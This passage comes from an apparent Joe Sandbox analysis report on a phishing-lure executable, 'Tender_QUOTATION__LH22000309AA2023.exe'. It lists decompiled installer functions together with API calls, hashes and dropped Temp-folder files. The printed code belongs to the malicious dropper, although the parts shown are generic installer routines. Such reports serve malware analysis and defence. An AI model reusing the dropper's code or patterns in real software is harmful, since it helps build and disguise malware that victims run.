          										E00406113(_t24 + _t46, 0x4269e8, _t37);
          										SetFilePointer(_t48, 0, 0, 0);
          										E0040620A(_t48, _t46, _t42 + _t37);
          										GlobalFree(_t46);
          										goto L18;
          									}
          									_t39 = _t46 + _t42;
          									_t31 = _t39 + _t37;
          									while(_t39 > _t49) {
          										 *_t31 =  *_t39;
          										_t31 = _t31 - 1;
          										_t39 = _t39 - 1;
          									}
          									_t24 = _t49 - _t46 + 1;
          									_t48 =  *(_t53 + 0x18);
          									goto L17;
          								}
          								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
          								_t42 = _t42 + 0xa;
          								goto L16;
          							}
          						}
          					}
          				} else {
          					CloseHandle(E00406158(_t44, 0, 1));
          					_t12 = GetShortPathNameW(_t44, 0x426de8, 0x400);
          					if(_t12 != 0 && _t12 <= 0x400) {
          						goto L3;
          					}
          				}
          				return _t12;
          			}



















          0x004062ae
          0x004062b7
          0x004062be
          0x004062c8
          0x004062dc
          0x00406304
          0x0040630b
          0x0040630f
          0x00406313
          0x00406333
          0x0040633a
          0x00406344
          0x00406351
          0x00406356
          0x0040635b
          0x0040635f
          0x0040636e
          0x00406370
          0x0040637d
          0x00406381
          0x0040641c
          0x00000000
          0x00406397
          0x004063a4
          0x004063c8
          0x004063cc
          0x004063eb
          0x004063ef
          0x004063ef
          0x004063f1
          0x004063fa
          0x00406405
          0x00406410
          0x00406416
          0x00000000
          0x00406416
          0x004063ce
          0x004063d1
          0x004063dc
          0x004063d8
          0x004063da
          0x004063db
          0x004063db
          0x004063e3
          0x004063e5
          0x00000000
          0x004063e5
          0x004063af
          0x004063b5
          0x00000000
          0x004063b5
          0x00406381
          0x0040635f
          0x004062de
          0x004062e9
          0x004062f2
          0x004062f6
          0x00000000
          0x00000000
          0x004062f6
          0x00406427

          APIs
          • CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406449,?,?), ref: 004062E9
          • GetShortPathNameW.KERNEL32 ref: 004062F2
            • Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
            • Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF
          • GetShortPathNameW.KERNEL32 ref: 0040630F
          • wsprintfA.USER32 ref: 0040632D
          • GetFileSize.KERNEL32(00000000,00000000,004275E8,C0000000,00000004,004275E8,?,?,?,?,?), ref: 00406368
          • GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406377
          • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004063AF
          • SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,004269E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 00406405
          • GlobalFree.KERNEL32 ref: 00406416
          • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040641D
            • Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe,80000000,00000003), ref: 0040615C
            • Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
          • String ID: %ls=%ls$[Rename]$mB$uB$uB
          • API String ID: 2171350718-2295842750
          • Opcode ID: 1440962ef2f3b8112e1664fd7ccaf364af2d80964e03d16af1fd95ff0e1f48f4
          • Instruction ID: df9b4e9fb9d32bd4c250032a1d399944af7a2e4c2f0bdec2b7d3959d12e60cc8
          • Opcode Fuzzy Hash: 1440962ef2f3b8112e1664fd7ccaf364af2d80964e03d16af1fd95ff0e1f48f4
          • Instruction Fuzzy Hash: B8314331200315BBD2206B619D49F5B3AACEF85704F16003BFD02FA2C2EA7DD82186BD
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 90%
          			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
          				struct tagLOGBRUSH _v16;
          				struct tagRECT _v32;
          				struct tagPAINTSTRUCT _v96;
          				struct HDC__* _t70;
          				struct HBRUSH__* _t87;
          				struct HFONT__* _t94;
          				long _t102;
          				signed int _t126;
          				struct HDC__* _t128;
          				intOrPtr _t130;
          
          				if(_a8 == 0xf) {
          					_t130 =  *0x42a270;
          					_t70 = BeginPaint(_a4,  &_v96);
          					_v16.lbStyle = _v16.lbStyle & 0x00000000;
          					_a8 = _t70;
          					GetClientRect(_a4,  &_v32);
          					_t126 = _v32.bottom;
          					_v32.bottom = _v32.bottom & 0x00000000;
          					while(_v32.top < _t126) {
          						_a12 = _t126 - _v32.top;
          						asm("cdq");
          						asm("cdq");
          						asm("cdq");
          						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
          						_t87 = CreateBrushIndirect( &_v16);
          						_v32.bottom = _v32.bottom + 4;
          						_a16 = _t87;
          						FillRect(_a8,  &_v32, _t87);
          						DeleteObject(_a16);
          						_v32.top = _v32.top + 4;
          					}
          					if( *(_t130 + 0x58) != 0xffffffff) {
          						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
          						_a16 = _t94;
          						if(_t94 != 0) {
          							_t128 = _a8;
          							_v32.left = 0x10;
          							_v32.top = 8;
          							SetBkMode(_t128, 1);
          							SetTextColor(_t128,  *(_t130 + 0x58));
          							_a8 = SelectObject(_t128, _a16);
          							DrawTextW(_t128, 0x429260, 0xffffffff,  &_v32, 0x820);
          							SelectObject(_t128, _a8);
          							DeleteObject(_a16);
          						}
          					}
          					EndPaint(_a4,  &_v96);
          					return 0;
          				}
          				_t102 = _a16;
          				if(_a8 == 0x46) {
          					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
          					 *((intOrPtr*)(_t102 + 4)) =  *0x42a268;
          				}
          				return DefWindowProcW(_a4, _a8, _a12, _t102);
          			}













          0x0040100a
          0x00401039
          0x00401047
          0x0040104d
          0x00401051
          0x0040105b
          0x00401061
          0x00401064
          0x004010f3
          0x00401089
          0x0040108c
          0x004010a6
          0x004010bd
          0x004010cc
          0x004010cf
          0x004010d5
          0x004010d9
          0x004010e4
          0x004010ed
          0x004010ef
          0x004010ef
          0x00401100
          0x00401105
          0x0040110d
          0x00401110
          0x00401112
          0x00401118
          0x0040111f
          0x00401126
          0x00401130
          0x00401142
          0x00401156
          0x00401160
          0x00401165
          0x00401165
          0x00401110
          0x0040116e
          0x00000000
          0x00401178
          0x00401010
          0x00401013
          0x00401015
          0x0040101f
          0x0040101f
          0x00000000

          APIs
          • DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
          • BeginPaint.USER32(?,?), ref: 00401047
          • GetClientRect.USER32 ref: 0040105B
          • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
          • FillRect.USER32 ref: 004010E4
          • DeleteObject.GDI32(?), ref: 004010ED
          • CreateFontIndirectW.GDI32(?), ref: 00401105
          • SetBkMode.GDI32(00000000,00000001), ref: 00401126
          • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
          • SelectObject.GDI32(00000000,?), ref: 00401140
          • DrawTextW.USER32(00000000,00429260,000000FF,00000010,00000820), ref: 00401156
          • SelectObject.GDI32(00000000,00000000), ref: 00401160
          • DeleteObject.GDI32(?), ref: 00401165
          • EndPaint.USER32(?,?), ref: 0040116E
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
          • String ID: F
          • API String ID: 941294808-1304234792
          • Opcode ID: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
          • Instruction ID: e2f9fea5dfd6f059ba8eeb08e8d10ac227d01a2162b8a260283931f50cd0bfbf
          • Opcode Fuzzy Hash: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
          • Instruction Fuzzy Hash: 33418B71800209EFCF058FA5DE459AF7BB9FF45315F00802AF991AA2A0C7349A55DFA4
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 72%
          			E004066A5(void* __ebx, void* __edi, void* __esi, signed int _a4, short _a8) {
          				struct _ITEMIDLIST* _v8;
          				signed int _v12;
          				signed int _v16;
          				signed int _v20;
          				signed int _v24;
          				signed int _v28;
          				signed int _t44;
          				WCHAR* _t45;
          				signed char _t47;
          				signed int _t48;
          				short _t59;
          				short _t61;
          				short _t63;
          				void* _t71;
          				signed int _t77;
          				signed int _t78;
          				short _t81;
          				short _t82;
          				signed char _t84;
          				signed int _t85;
          				void* _t98;
          				void* _t104;
          				intOrPtr* _t105;
          				void* _t107;
          				WCHAR* _t108;
          				void* _t110;
          
          				_t107 = __esi;
          				_t104 = __edi;
          				_t71 = __ebx;
          				_t44 = _a8;
          				if(_t44 < 0) {
          					_t44 =  *( *0x42923c - 4 + _t44 * 4);
          				}
          				_push(_t71);
          				_push(_t107);
          				_push(_t104);
          				_t105 =  *0x42a298 + _t44 * 2;
          				_t45 = 0x428200;
          				_t108 = 0x428200;
          				if(_a4 >= 0x428200 && _a4 - 0x428200 >> 1 < 0x800) {
          					_t108 = _a4;
          					_a4 = _a4 & 0x00000000;
          				}
          				_t81 =  *_t105;
          				_a8 = _t81;
          				if(_t81 == 0) {
          					L43:
          					 *_t108 =  *_t108 & 0x00000000;
          					if(_a4 == 0) {
          						return _t45;
          					}
          					return E00406668(_a4, _t45);
          				} else {
          					while((_t108 - _t45 & 0xfffffffe) < 0x800) {
          						_t98 = 2;
          						_t105 = _t105 + _t98;
          						if(_t81 >= 4) {
          							if(__eflags != 0) {
          								 *_t108 = _t81;
          								_t108 = _t108 + _t98;
          								__eflags = _t108;
          							} else {
          								 *_t108 =  *_t105;
          								_t108 = _t108 + _t98;
          								_t105 = _t105 + _t98;
          							}
          							L42:
          							_t82 =  *_t105;
          							_a8 = _t82;
          							if(_t82 != 0) {
          								_t81 = _a8;
          								continue;
          							}
          							goto L43;
          						}
          						_t84 =  *((intOrPtr*)(_t105 + 1));
          						_t47 =  *_t105;
          						_t48 = _t47 & 0x000000ff;
          						_v12 = (_t84 & 0x0000007f) << 0x00000007 | _t47 & 0x0000007f;
          						_t85 = _t84 & 0x000000ff;
          						_v28 = _t48 | 0x00008000;
          						_t77 = 2;
          						_v16 = _t85;
          						_t105 = _t105 + _t77;
          						_v24 = _t48;
          						_v20 = _t85 | 0x00008000;
          						if(_a8 != _t77) {
          							__eflags = _a8 - 3;
          							if(_a8 != 3) {
          								__eflags = _a8 - 1;
          								if(__eflags == 0) {
          									__eflags = (_t48 | 0xffffffff) - _v12;
          									E004066A5(_t77, _t105, _t108, _t108, (_t48 | 0xffffffff) - _v12);
          								}
          								L38:
          								_t108 =  &(_t108[lstrlenW(_t108)]);
          								_t45 = 0x428200;
          								goto L42;
          							}
          							_t78 = _v12;
          							__eflags = _t78 - 0x1d;
          							if(_t78 != 0x1d) {
          								__eflags = (_t78 << 0xb) + 0x42b000;
          								E00406668(_t108, (_t78 << 0xb) + 0x42b000);
          							} else {
          								E004065AF(_t108,  *0x42a268);
          							}
          							__eflags = _t78 + 0xffffffeb - 7;
          							if(__eflags < 0) {
          								L29:
          								E004068EF(_t108);
          							}
          							goto L38;
          						}
          						if( *0x42a2e4 != 0) {
          							_t77 = 4;
          						}
          						_t121 = _t48;
          						if(_t48 >= 0) {
          							__eflags = _t48 - 0x25;
          							if(_t48 != 0x25) {
          								__eflags = _t48 - 0x24;
          								if(_t48 == 0x24) {
          									GetWindowsDirectoryW(_t108, 0x400);
          									_t77 = 0;
          								}
          								while(1) {
          									__eflags = _t77;
          									if(_t77 == 0) {
          										goto L26;
          									}
          									_t59 =  *0x42a264;
          									_t77 = _t77 - 1;
          									__eflags = _t59;
          									if(_t59 == 0) {
          										L22:
          										_t61 = SHGetSpecialFolderLocation( *0x42a268,  *(_t110 + _t77 * 4 - 0x18),  &_v8);
          										__eflags = _t61;
          										if(_t61 != 0) {
          											L24:
          											 *_t108 =  *_t108 & 0x00000000;
          											__eflags =  *_t108;
          											continue;
          										}
          										__imp__SHGetPathFromIDListW(_v8, _t108);
          										_a8 = _t61;
          										__imp__CoTaskMemFree(_v8);
          										__eflags = _a8;
          										if(_a8 != 0) {
          											goto L26;
          										}
          										goto L24;
          									}
          									_t63 =  *_t59( *0x42a268,  *(_t110 + _t77 * 4 - 0x18), 0, 0, _t108);
          									__eflags = _t63;
          									if(_t63 == 0) {
          										goto L26;
          									}
          									goto L22;
          								}
          								goto L26;
          							}
          							GetSystemDirectoryW(_t108, 0x400);
          							goto L26;
          						} else {
          							E00406536( *0x42a298, _t121, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x42a298 + (_t48 & 0x0000003f) * 2, _t108, _t48 & 0x00000040);
          							if( *_t108 != 0) {
          								L27:
          								if(_v16 == 0x1a) {
          									lstrcatW(_t108, L"\\Microsoft\\Internet Explorer\\Quick Launch");
          								}
          								goto L29;
          							}
          							E004066A5(_t77, _t105, _t108, _t108, _v16);
          							L26:
          							if( *_t108 == 0) {
          								goto L29;
          							}
          							goto L27;
          						}
          					}
          					goto L43;
          				}
          			}





























          0x004066a5
          0x004066a5
          0x004066a5
          0x004066ab
          0x004066b0
          0x004066c1
          0x004066c1
          0x004066c9
          0x004066ca
          0x004066cb
          0x004066cc
          0x004066cf
          0x004066d7
          0x004066d9
          0x004066ea
          0x004066ed
          0x004066ed
          0x004066f1
          0x004066f7
          0x004066fa
          0x004068d5
          0x004068d5
          0x004068e0
          0x004068ec
          0x004068ec
          0x00000000
          0x00406700
          0x00406705
          0x0040671a
          0x0040671b
          0x00406721
          0x004068b3
          0x004068c1
          0x004068c4
          0x004068c4
          0x004068b5
          0x004068b8
          0x004068bb
          0x004068bd
          0x004068bd
          0x004068c6
          0x004068c6
          0x004068cc
          0x004068cf
          0x00406702
          0x00000000
          0x00406702
          0x00000000
          0x004068cf
          0x00406727
          0x0040672a
          0x00406739
          0x00406740
          0x0040674c
          0x0040674f
          0x00406752
          0x00406753
          0x00406758
          0x0040675e
          0x00406761
          0x00406764
          0x00406857
          0x0040685c
          0x0040688f
          0x00406894
          0x00406899
          0x0040689e
          0x0040689e
          0x004068a3
          0x004068a9
          0x004068ac
          0x00000000
          0x004068ac
          0x0040685e
          0x00406861
          0x00406864
          0x00406879
          0x00406880
          0x00406866
          0x0040686d
          0x0040686d
          0x00406888
          0x0040688b
          0x0040684f
          0x00406850
          0x00406850
          0x00000000
          0x0040688b
          0x00406771
          0x00406775
          0x00406775
          0x00406776
          0x00406778
          0x004067b5
          0x004067b8
          0x004067c8
          0x004067cb
          0x004067d3
          0x004067d9
          0x004067d9
          0x00406834
          0x00406834
          0x00406836
          0x00000000
          0x00000000
          0x004067dd
          0x004067e2
          0x004067e3
          0x004067e5
          0x004067fc
          0x0040680a
          0x00406810
          0x00406812
          0x00406830
          0x00406830
          0x00406830
          0x00000000
          0x00406830
          0x00406818
          0x00406821
          0x00406824
          0x0040682a
          0x0040682e
          0x00000000
          0x00000000
          0x00000000
          0x0040682e
          0x004067f6
          0x004067f8
          0x004067fa
          0x00000000
          0x00000000
          0x00000000
          0x004067fa
          0x00000000
          0x00406834
          0x004067c0
          0x00000000
          0x0040677a
          0x00406798
          0x004067a1
          0x0040683e
          0x00406842
          0x0040684a
          0x0040684a
          0x00000000
          0x00406842
          0x004067ab
          0x00406838
          0x0040683c
          0x00000000
          0x00000000
          0x00000000
          0x0040683c
          0x00406778
          0x00000000
          0x00406705

          APIs
          • GetSystemDirectoryW.KERNEL32("C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,00000400), ref: 004067C0
          • GetWindowsDirectoryW.KERNEL32("C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,00000400,00000000,00422728,?,00405701,00422728,00000000,00000000,00000000,00000000), ref: 004067D3
          • lstrcatW.KERNEL32("C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
          • lstrlenW.KERNEL32("C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: Directory$SystemWindowslstrcatlstrlen
          • String ID: "C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
          • API String ID: 4260037668-1863200598
          • Opcode ID: 1c129aaeae4721ad32508ffaab04e099ccdaef91abef8552f1ca909acb5604ca
          • Instruction ID: 414c90a3e727c3679fd522760d05a71ccfd37451a898d0680c6fb4b4ce958948
          • Opcode Fuzzy Hash: 1c129aaeae4721ad32508ffaab04e099ccdaef91abef8552f1ca909acb5604ca
          • Instruction Fuzzy Hash: CD61E172A02115EBDB20AF64CD40BAA37A5EF10314F22C13EE946B62D0DB3D49A1CB5D
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E004056CA(signed int _a4, WCHAR* _a8) {
          				struct HWND__* _v8;
          				signed int _v12;
          				WCHAR* _v32;
          				long _v44;
          				int _v48;
          				void* _v52;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				WCHAR* _t27;
          				signed int _t28;
          				long _t29;
          				signed int _t37;
          				signed int _t38;
          
          				_t27 =  *0x429244;
          				_v8 = _t27;
          				if(_t27 != 0) {
          					_t37 =  *0x42a314;
          					_v12 = _t37;
          					_t38 = _t37 & 0x00000001;
          					if(_t38 == 0) {
          						E004066A5(_t38, 0, 0x422728, 0x422728, _a4);
          					}
          					_t27 = lstrlenW(0x422728);
          					_a4 = _t27;
          					if(_a8 == 0) {
          						L6:
          						if((_v12 & 0x00000004) == 0) {
          							_t27 = SetWindowTextW( *0x429228, 0x422728);
          						}
          						if((_v12 & 0x00000002) == 0) {
          							_v32 = 0x422728;
          							_v52 = 1;
          							_t29 = SendMessageW(_v8, 0x1004, 0, 0);
          							_v44 = 0;
          							_v48 = _t29 - _t38;
          							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52);
          							_t27 = SendMessageW(_v8, 0x1013, _v48, 0);
          						}
          						if(_t38 != 0) {
          							_t28 = _a4;
          							0x422728[_t28] = 0;
          							return _t28;
          						}
          					} else {
          						_t27 = lstrlenW(_a8) + _a4;
          						if(_t27 < 0x1000) {
          							_t27 = lstrcatW(0x422728, _a8);
          							goto L6;
          						}
          					}
          				}
          				return _t27;
          			}

















          0x004056d0
          0x004056da
          0x004056df
          0x004056e5
          0x004056f0
          0x004056f3
          0x004056f6
          0x004056fc
          0x004056fc
          0x00405702
          0x0040570a
          0x0040570d
          0x0040572a
          0x0040572e
          0x00405737
          0x00405737
          0x00405741
          0x0040574a
          0x00405756
          0x0040575d
          0x00405761
          0x00405764
          0x00405777
          0x00405785
          0x00405785
          0x00405789
          0x0040578b
          0x0040578e
          0x00000000
          0x0040578e
          0x0040570f
          0x00405717
          0x0040571f
          0x00405725
          0x00000000
          0x00405725
          0x0040571f
          0x0040570d
          0x0040579a

          APIs
          • lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
          • lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
          • lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
          • SetWindowTextW.USER32(00422728,00422728), ref: 00405737
          • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
          • SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
          • SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785
            • Part of subcall function 004066A5: lstrcatW.KERNEL32("C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
            • Part of subcall function 004066A5: lstrlenW.KERNEL32("C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: MessageSendlstrlen$lstrcat$TextWindow
          • String ID: ('B
          • API String ID: 1495540970-2332581011
          • Opcode ID: ecaae210665ee7222a04207821391202ddee9f1067a944388ad148c6c7792cdb
          • Instruction ID: 7f52a71d89202be05388d2ae90ba5930d13dcc1e6093ad3ff4eaa481a322a782
          • Opcode Fuzzy Hash: ecaae210665ee7222a04207821391202ddee9f1067a944388ad148c6c7792cdb
          • Instruction Fuzzy Hash: C6217A71900518FACB119FA5DD84A8EBFB8EB45360F10857AF904B62A0D67A4A509F68
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E0040462B(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
          				struct tagLOGBRUSH _v16;
          				long _t39;
          				long _t41;
          				void* _t44;
          				signed char _t50;
          				long* _t54;
          
          				if(_a4 + 0xfffffecd > 5) {
          					L18:
          					return 0;
          				}
          				_t54 = GetWindowLongW(_a12, 0xffffffeb);
          				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
          					goto L18;
          				} else {
          					_t50 = _t54[5];
          					if((_t50 & 0xffffffe0) != 0) {
          						goto L18;
          					}
          					_t39 =  *_t54;
          					if((_t50 & 0x00000002) != 0) {
          						_t39 = GetSysColor(_t39);
          					}
          					if((_t54[5] & 0x00000001) != 0) {
          						SetTextColor(_a8, _t39);
          					}
          					SetBkMode(_a8, _t54[4]);
          					_t41 = _t54[1];
          					_v16.lbColor = _t41;
          					if((_t54[5] & 0x00000008) != 0) {
          						_t41 = GetSysColor(_t41);
          						_v16.lbColor = _t41;
          					}
          					if((_t54[5] & 0x00000004) != 0) {
          						SetBkColor(_a8, _t41);
          					}
          					if((_t54[5] & 0x00000010) != 0) {
          						_v16.lbStyle = _t54[2];
          						_t44 = _t54[3];
          						if(_t44 != 0) {
          							DeleteObject(_t44);
          						}
          						_t54[3] = CreateBrushIndirect( &_v16);
          					}
          					return _t54[3];
          				}
          			}









          0x0040463d
          0x004046f3
          0x00000000
          0x004046f3
          0x0040464e
          0x00404652
          0x00000000
          0x0040466c
          0x0040466c
          0x00404675
          0x00000000
          0x00000000
          0x00404677
          0x00404683
          0x00404686
          0x00404686
          0x0040468c
          0x00404692
          0x00404692
          0x0040469e
          0x004046a4
          0x004046ab
          0x004046ae
          0x004046b1
          0x004046b3
          0x004046b3
          0x004046bb
          0x004046c1
          0x004046c1
          0x004046cb
          0x004046d0
          0x004046d3
          0x004046d8
          0x004046db
          0x004046db
          0x004046eb
          0x004046eb
          0x00000000
          0x004046ee

          APIs
          • GetWindowLongW.USER32(?,000000EB), ref: 00404648
          • GetSysColor.USER32(00000000), ref: 00404686
          • SetTextColor.GDI32(?,00000000), ref: 00404692
          • SetBkMode.GDI32(?,?), ref: 0040469E
          • GetSysColor.USER32(?), ref: 004046B1
          • SetBkColor.GDI32(?,?), ref: 004046C1
          • DeleteObject.GDI32(?), ref: 004046DB
          • CreateBrushIndirect.GDI32(?), ref: 004046E5
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
          • String ID:
          • API String ID: 2320649405-0
          • Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
          • Instruction ID: e78b8cc9c8042372c9a7340b9b8aa9b23ded286a9f8ddc7240a2e2d8bd1f46c0
          • Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
